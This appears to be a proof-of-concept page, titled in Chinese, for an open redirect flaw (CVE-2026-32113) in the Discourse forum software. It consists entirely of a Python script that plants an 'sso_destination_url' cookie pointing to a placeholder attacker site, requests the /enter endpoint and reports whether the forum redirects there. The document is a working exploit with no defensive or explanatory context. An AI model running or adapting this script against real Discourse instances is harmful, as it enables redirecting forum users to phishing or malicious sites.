CVE-2026-32113 Discourse 开放重定向漏洞

# PoC for CVE-2026-32113 # Demonstrates Open Redirect via cookie manipulation import requests target = "http://discourse-instance.com" malicious_site = "http://attacker.com" # The vulnerable endpoint is usually /enter url = f"{target}/enter" # Set the malicious cookie cookies = { "sso_destination_url": malicious_site } try: # Send request with the malicious cookie r = requests.get(url, cookies=cookies, allow_redirects=False) if r.status_code == 302: location = r.headers.get('Location') if malicious_site in location: print(f"[+] Vulnerability Confirmed! Redirecting to: {location}") else: print(f"[-] Redirecting to unexpected location: {location}") else: print(f"[-] Expected 302 Redirect, got {r.status_code}") except Exception as e: print(f"Error: {e}")